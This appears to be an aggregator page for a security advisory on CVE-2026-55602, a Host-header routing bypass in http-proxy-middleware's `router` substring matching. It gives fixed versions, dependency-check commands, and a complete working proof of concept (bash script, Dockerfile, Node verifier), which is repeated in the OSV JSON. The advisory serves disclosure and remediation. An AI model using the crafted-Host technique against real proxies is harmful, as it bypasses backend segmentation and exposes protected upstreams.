CVE-2026-55602: Http proxy middleware Http-proxy-middleware `router` Host+path Substring Matching Vulnerability
MODERATE
Advisory Identifier:
GHSA-64mm-vxmg-q3vj
Advisory Summary
CVE-2026-55602 is a MODERATE http-proxy-middleware `router` host+path substring matching vulnerability (CWE-187: Partial String Comparison) affecting Http proxy middleware libraries in the npm ecosystem. The issue involves http-proxy-middleware `router` host+path substring matching allows host-header-driven backend routing bypass. Remediation is available by upgrading affected packages to version 3.0.6, 4.1.0, 2.0.10.
CVE-2026-55602 at a Glance
CVE Identifier
CVE-2026-55602
GHSA Identifier
GHSA-64mm-vxmg-q3vj
Severity
MODERATE
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-187: Partial String Comparison
Affected Product
Http proxy middleware
Package Ecosystem
npm
Published Date
Last Updated
How to Fix CVE-2026-55602
To remediate this vulnerability, upgrade all affected Http proxy middleware dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
http-proxy-middleware
fixed: 3.0.6
npm install http-proxy-middleware@3.0.6
http-proxy-middleware
fixed: 4.1.0
npm install http-proxy-middleware@4.1.0
http-proxy-middleware
fixed: 2.0.10
npm install http-proxy-middleware@2.0.10
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls http-proxy-middlewareHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-55602, inspect your project dependencies using npm:
npm ls http-proxy-middlewareAnalyze the terminal output to locate any version of Http proxy middleware in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.6), your application is affected.
Note: The npm ls http-proxy-middleware command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-187: Partial String Comparison, where the product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses. In Http proxy middleware, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
# Summary
`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
# Details
Tested code state:
- validated on tag `v4.0.0-beta.5`
- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`
Relevant code locations:
- `src/router.ts`
- `src/http-proxy-middleware.ts`
Affected public API:
- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`
Code explanation:
When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:
```ts
hostAndPath.indexOf(key) > -1
```
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
```txt
localhost:3000/api
```
but the attacker-controlled host is:
```txt
evillocalhost:3000
```
and the request path is:
```txt
/api
```
The concatenated attacker-controlled string:
```txt
evillocalhost:3000/api
```
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
1. the application enables the documented proxy-table `router` feature with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted `Host` header
3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying
4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching
5. the request is proxied to the wrong backend
## PoC
Create these files in the same working directory and run:
```bash
bash ./run.sh
```
### File: `run.sh`
```bash
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
```
### File: `Dockerfile`
```Dockerfile
FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \
&& cd /work/repo \
&& yarn install --frozen-lockfile
COPY repo /work/repo
RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction
```
### File: `verify.mjs`
```js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
port: 3000,
path,
method: 'GET',
headers: {
Host: host,
},
},
(res) => {
let data = '';
res.setEncoding('utf8');
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
resolve({ statusCode: res.statusCode, body: data });
});
},
);
req.on('error', reject);
req.end();
});
}
const defaultBackend = http.createServer((req, res) => {
res.end('DEFAULT');
});
const secretBackend = http.createServer((req, res) => {
res.end('SECRET');
});
const proxyMiddleware = createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
const proxyServer = http.createServer((req, res) => {
proxyMiddleware(req, res, () => {
res.statusCode = 404;
res.end('NO_PROXY');
});
});
try {
assert.ok(fs.existsSync('/work/repo/dist/index.js'));
assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));
await listen(defaultBackend, 3101);
await listen(secretBackend, 3102);
await listen(proxyServer, 3000);
console.log('STEP start-services ok');
const baseline = await request('/api', 'safe.example:3000');
assert.equal(baseline.statusCode, 200);
assert.equal(baseline.body, 'DEFAULT');
console.log(`STEP baseline-route body=${baseline.body}`);
const crafted = await request('/api', CRAFTED_HOST);
assert.equal(crafted.statusCode, 200);
assert.equal(crafted.body, 'SECRET');
assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
console.log(`STEP crafted-route body=${crafted.body}`);
console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
```
This PoC starts:
- one default backend returning `DEFAULT`
- one alternate backend returning `SECRET`
- one proxy using:
```js
createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
```
It then sends:
1. a baseline request to `/api` with `Host: safe.example:3000`
2. a crafted request to `/api` with `Host: evillocalhost:3000`
Observed result from the validated PoC:
- baseline request: `STEP baseline-route body=DEFAULT`
- crafted request: `STEP crafted-route body=SECRET`
- success marker: `RESULT reproduced host_header_injection router substring match bypass`
The PoC is considered successful only if:
1. the baseline request stays on the default backend
2. the crafted request reaches the alternate backend
3. the crafted host is not equal to the configured router host
# Impact
This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.
CVE-2026-55602 Affected Http proxy middleware Versions
3 component(s)
Fixed Versions:
3.0.64.1.02.0.10
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
http-proxy-middleware
|
npm |
≥ 3.0.0
< 3.0.6
|
3.0.6
|
|
http-proxy-middleware
|
npm |
≥ 4.0.0
< 4.1.0
|
4.1.0
|
|
http-proxy-middleware
|
npm |
≥ 0.16.0
< 2.0.10
|
2.0.10
|
References
Frequently Asked Questions
What is CVE-2026-55602?
CVE-2026-55602 is a security vulnerability in Http proxy middleware involving http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass under CWE-187: Partial String Comparison.
Which Http proxy middleware versions are affected?
Affected versions include releases prior to 3.0.6, 4.1.0, 2.0.10 across affected packages: http-proxy-middleware.
What version fixes CVE-2026-55602?
Upgrading to 3.0.6, 4.1.0, 2.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is http-proxy-middleware affected?
Yes, http-proxy-middleware is affected in releases prior to 3.0.6, 4.1.0, 2.0.10. Upgrade your dependency to 3.0.6, 4.1.0, 2.0.10 or later.
What CWE is associated with CVE-2026-55602?
CVE-2026-55602 is classified under CWE-187: Partial String Comparison (The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.).
How can I check npm dependencies for CVE-2026-55602?
Run the dependency tree command: 'npm ls http-proxy-middleware'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-64mm-vxmg-q3vj",
"modified" : "2026-06-22T15:59:21Z",
"published" : "2026-06-18T13:06:11Z",
"aliases" : [ "CVE-2026-55602" ],
"summary" : "http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass",
"details" : "# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) > -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n && cd /work/repo \\\n && yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo && yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n return new Promise((resolve) => {\n server.listen(port, '127.0.0.1', () => resolve());\n });\n}\n\nfunction close(server) {\n return new Promise((resolve, reject) => {\n server.close((err) => {\n if (err) {\n reject(err);\n return;\n }\n resolve();\n });\n });\n}\n\nfunction request(path, host) {\n return new Promise((resolve, reject) => {\n const req = http.request(\n {\n host: '127.0.0.1',\n port: 3000,\n path,\n method: 'GET',\n headers: {\n Host: host,\n },\n },\n (res) => {\n let data = '';\n res.setEncoding('utf8');\n res.on('data', (chunk) => {\n data += chunk;\n });\n res.on('end', () => {\n resolve({ statusCode: res.statusCode, body: data });\n });\n },\n );\n req.on('error', reject);\n req.end();\n });\n}\n\nconst defaultBackend = http.createServer((req, res) => {\n res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) => {\n res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n target: 'http://127.0.0.1:3101',\n router: {\n [ROUTER_KEY]: 'http://127.0.0.1:3102',\n },\n});\n\nconst proxyServer = http.createServer((req, res) => {\n proxyMiddleware(req, res, () => {\n res.statusCode = 404;\n res.end('NO_PROXY');\n });\n});\n\ntry {\n assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n await listen(defaultBackend, 3101);\n await listen(secretBackend, 3102);\n await listen(proxyServer, 3000);\n console.log('STEP start-services ok');\n\n const baseline = await request('/api', 'safe.example:3000');\n assert.equal(baseline.statusCode, 200);\n assert.equal(baseline.body, 'DEFAULT');\n console.log(`STEP baseline-route body=${baseline.body}`);\n\n const crafted = await request('/api', CRAFTED_HOST);\n assert.equal(crafted.statusCode, 200);\n assert.equal(crafted.body, 'SECRET');\n assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n console.log(`STEP crafted-route body=${crafted.body}`);\n\n console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n target: 'http://127.0.0.1:3101',\n router: {\n [ROUTER_KEY]: 'http://127.0.0.1:3102',\n },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "3.0.6"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.1.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.16.0"
}, {
"fixed" : "2.0.10"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/chimurai/http-proxy-middleware"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-187", "CWE-20" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-18T13:06:11Z",
"nvd_published_at" : null
}
}